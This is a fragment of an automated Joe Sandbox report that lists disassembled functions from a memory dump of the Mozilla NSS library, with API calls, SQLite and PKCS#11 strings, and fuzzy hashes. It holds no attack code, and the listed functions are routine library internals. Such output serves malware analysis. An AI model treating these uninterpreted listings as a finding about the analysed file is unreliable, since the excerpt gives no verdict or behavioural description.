Part of subcall function 6C781200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C781238
Part of subcall function 6C781200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7288A4,00000000,00000000), ref: 6C78124B
Part of subcall function 6C781200: PR_CallOnce.NSS3(6C882AA4,6C7812D0,00000000,00000000,00000000,?,6C7288A4,00000000,00000000), ref: 6C78125D
Part of subcall function 6C781200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C78126F
Part of subcall function 6C781200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C781280
Part of subcall function 6C781200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C78128E
Part of subcall function 6C781200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C78129A
Part of subcall function 6C781200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7812A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C727310), ref: 6C7289E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C728A00
CERT_CopyRDN.NSS3(00000004,00000000,6C727310,?,?,00000004,?), ref: 6C728A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C728A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6C727310), ref: 6C728AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6C727310), ref: 6C728AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6C727310), ref: 6C728B1D

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: 8869d9c092b8d22bdac00086b47dd21236f8b56c41e9195b0d0264057a119a94
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: 4851F772A01210AFE7108F14CE44B6A77B4FF5271CF15817AED149BB91EB3AE805CB91

Function 6C727CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7240D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C723F7F,?,00000055,?,?,6C721666,?,?), ref: 6C7240D9
Part of subcall function 6C7240D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C721666,?,?), ref: 6C7240FC
Part of subcall function 6C7240D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C721666,?,?), ref: 6C724138

PR_GetCurrentThread.NSS3 ref: 6C727CFD

Part of subcall function 6C7E9BF0: TlsGetValue.KERNEL32(?,?,?,6C830A75), ref: 6C7E9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C849030), ref: 6C727D1B

Part of subcall function 6C77FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C721A3E,00000048,00000054), ref: 6C77FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C849048), ref: 6C727D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C727D50
PR_GetCurrentThread.NSS3 ref: 6C727D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C727D7D
free.MOZGLUE(?), ref: 6C727D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C727DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C727E19

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 18cbda7f841c186cec85a7c8b63c7c973addc8e758b995df10cb18e07043272b
Instruction ID: ab4ff9c0b52a75518eab6b59f3550bb2b3302f83063ec50e26f611fc457109d1
Opcode Fuzzy Hash: 18cbda7f841c186cec85a7c8b63c7c973addc8e758b995df10cb18e07043272b
Instruction Fuzzy Hash: AA41E372A0011A9BDF109E69DF4ABAF33E8AF5425CF050034EC19AB751E734E915C7A2

Function 6C783CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C7838BD), ref: 6C783CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C7838BD), ref: 6C783CD1

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C7838BD), ref: 6C783CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C85B369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6C7838BD), ref: 6C783D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6C7838BD), ref: 6C783D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C85B369,000000FF,00000000,00000000,00000000,6C7838BD), ref: 6C783D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C783D47
free.MOZGLUE(00000000), ref: 6C783D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6C7838BD), ref: 6C783D6F

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 12dfe25c3bc4c876dc30a6bfbf39f3f99d10a3ae5a8f4a00bdfbd5d27de96662
Instruction ID: 5754982533396882bca1c31443fba9951c734c96262d0839cdde2cdd7736c414
Opcode Fuzzy Hash: 12dfe25c3bc4c876dc30a6bfbf39f3f99d10a3ae5a8f4a00bdfbd5d27de96662
Instruction Fuzzy Hash: 41218AB570651277FB20567E4D0EE7B39ACDB82669B140635BA39D76C1FA60C810C2B1

Function 6C6BE890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C6BE922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6BE9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6BEA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BEB20
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BEB57

Strings

foreign key on %s should reference only one column of table %T, xrefs: 6C6BEE04
unknown column "%s" in foreign key definition, xrefs: 6C6BED18
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6C6BEDC2

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 847563d71e1185601790602a4e920d5f99c9eca1743322f22d58f327b63b6e40
Instruction ID: 11739669d5e843c7dbfd1cb6e829bde8d932bd0288bf85c4322651a2d5b60187
Opcode Fuzzy Hash: 847563d71e1185601790602a4e920d5f99c9eca1743322f22d58f327b63b6e40
Instruction Fuzzy Hash: 5D029D75E001198FDB04CF99C580AEEB7F2BF89308F2981A9D816BB751D731A855CBE4

Function 6C7169A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6C6ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C70F9C9,?,6C70F4DA,6C70F9C9,?,?,6C6D369A), ref: 6C6ACA7A
Part of subcall function 6C6ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6ACB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C716A02
EnterCriticalSection.KERNEL32(?), ref: 6C716AA6
LeaveCriticalSection.KERNEL32(?), ref: 6C716AF9
sqlite3_free.NSS3(00000000), ref: 6C716B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6C716BA6

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C716B9F
winDelete, xrefs: 6C716B71

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-1405699761
Opcode ID: ebc4efcf4b21302240e6c0bbc768be87388443bf6b02d856f8eb9c311ce6f961
Instruction ID: 2e9a520669b5c52262e0b3058523750f4202232721e8d108f3429a8a41530195
Opcode Fuzzy Hash: ebc4efcf4b21302240e6c0bbc768be87388443bf6b02d856f8eb9c311ce6f961
Instruction Fuzzy Hash: 015105317051119FDB249B68DE5C9AF3779FB87318B284139E416C7A80EB349A01CBE2

Function 6C6AFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6AFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6AFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6AFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6AFE83

Part of subcall function 6C6AFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C6AFEFA
Part of subcall function 6C6AFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C6AFF3B

Strings

%s at line %d of [%.10s], xrefs: 6C6AFD73, 6C6AFE35
database corruption, xrefs: 6C6AFD6E, 6C6AFE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6AFD64, 6C6AFE26

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 5368113f8ccbd4fc8cc1c5b1788bb459110b9c3c91fbe04720f15398ec1f0fb4
Instruction ID: 47e3a26cf38497f133b66b477b712a6f18b77a47fd3929dd6d7e704cefc10aa1
Opcode Fuzzy Hash: 5368113f8ccbd4fc8cc1c5b1788bb459110b9c3c91fbe04720f15398ec1f0fb4
Instruction Fuzzy Hash: 4D51A371A002059FCB14CF99C9D0AAEB7F1FF48308F144469E905AB752E731EC56CBAA

Function 6C7F2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7F2FFD
sqlite3_initialize.NSS3 ref: 6C7F3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C7F3032
sqlite3_mprintf.NSS3(6C85AAF9,?), ref: 6C7F3073
sqlite3_free.NSS3(?), ref: 6C7F30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C7F30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C7F30BB

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 22197380ff1129a431fb2892761a88567f1207651638d38da376a219e6d60802
Instruction ID: ee0f3314619b999fc25d209b542d453e467f0fea37fe7cc4f9311891278efe0a
Opcode Fuzzy Hash: 22197380ff1129a431fb2892761a88567f1207651638d38da376a219e6d60802
Instruction Fuzzy Hash: 2341C271600606ABDB10CF65D984A86B7E6FF44368F148639EC2987B40E731F956CBD1

Function 6C738CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C74124D,00000001), ref: 6C738D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C74124D,00000001), ref: 6C738D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C74124D,00000001), ref: 6C738D73
PR_Unlock.NSS3(?,?,?,?,?,6C74124D,00000001), ref: 6C738D8C

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C74124D,00000001), ref: 6C738DBA

Strings

KRAM, xrefs: 6C738D3E
KRAM, xrefs: 6C738CF9

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: d6e65d30f3dc6938207cff08e7060d363568052709385b841cebc1bb1d735ee5
Instruction ID: 5e5b620ec0e0c788232eca9a5f35f4c43da13ecd2ed5946c95b7a19abe4927f8
Opcode Fuzzy Hash: d6e65d30f3dc6938207cff08e7060d363568052709385b841cebc1bb1d735ee5
Instruction Fuzzy Hash: 2E216BB1A146218FCB01AF78C68965AB7F0BF59308F15997AD898CB706EB34D841CB91

Function 6C75ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C75ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C75AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C75AD23

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C75AD39

Strings

C_MessageDecryptFinal, xrefs: 6C75ACE1
(CK_INVALID_HANDLE), xrefs: 6C75AD1C
hSession = 0x%x, xrefs: 6C75ACFE, 6C75AD0E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 0af514bfe87dbf193dc5143f8d7af68865bb8b23472d7e4551f7f35b796f5395
Instruction ID: 52d48f42c8831d7d894608c34171f8753a4d4d560fa5f17277043ee3158fedb8
Opcode Fuzzy Hash: 0af514bfe87dbf193dc5143f8d7af68865bb8b23472d7e4551f7f35b796f5395
Instruction Fuzzy Hash: 912128316022149FDB20AB689F8DB7A33B5AB4331EF454435E80997F02DF34A818D7E2

Function 6C830ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C830EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C830EFA

Part of subcall function 6C71AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C71AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C830F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C830F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C830F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C830F2B

Strings

Aborting, xrefs: 6C830EB3
Assertion failure: %s, at %s:%d, xrefs: 6C830ED9, 6C830EE5, 6C830F06, 6C830F0B

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: cfe890b602e0fecc887b209ea270409e9b64e17a0e1c92450078d27799e8cd73
Instruction ID: 7816a2c858f5b038ff31c72e71016c5989f6c144471cd71acf642023a2612891
Opcode Fuzzy Hash: cfe890b602e0fecc887b209ea270409e9b64e17a0e1c92450078d27799e8cd73
Instruction Fuzzy Hash: 5F01ADB5900124ABDF21AFA4DE4989B3F2DEF46268B004424FD0987A02E731E914D7E2

Function 6C811C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=ql,?,?,6C714E1D), ref: 6C811C8A
sqlite3_free.NSS3(00000000), ref: 6C811CB6

Strings

a generated column, xrefs: 6C811C6C
a CHECK constraint, xrefs: 6C811C76, 6C811C81
w=ql, xrefs: 6C811C44
non-deterministic use of %s() in %s, xrefs: 6C811C85
an index, xrefs: 6C811C67

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=ql
API String ID: 1840970956-3717036970
Opcode ID: b5ee283e7c3187eab9c18ad646a862df447c9266e85dff199163784d6dd43347
Instruction ID: 32e7a3ae8303a658cdd9694efef73351af5876d28995a195533066ce060198c0
Opcode Fuzzy Hash: b5ee283e7c3187eab9c18ad646a862df447c9266e85dff199163784d6dd43347
Instruction Fuzzy Hash: 62014CB1B001005BD720BB68D50297177E5EF8634CB554C7DED458BB02EB62E867C755

Function 6C7F4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7F4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7F4DE0

Strings

invalid, xrefs: 6C7F4DB8
%s at line %d of [%.10s], xrefs: 6C7F4DDA
API call with %s database connection pointer, xrefs: 6C7F4DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7F4DCB
misuse, xrefs: 6C7F4DD5

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 02da68c80e7fca196b85e3857361faa307eeccf67feb959245f2710f0b3f2194
Instruction ID: 76bba62c6857a99b426b731e5a0fe29c39b2c41cf167f9e01c5771c45a35669b
Opcode Fuzzy Hash: 02da68c80e7fca196b85e3857361faa307eeccf67feb959245f2710f0b3f2194
Instruction Fuzzy Hash: EAF02422A146642BD6504015CF62F8333554F0231DF870DB0EF147BF53D206A8A5A2E4

Function 6C7F4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7F4E30
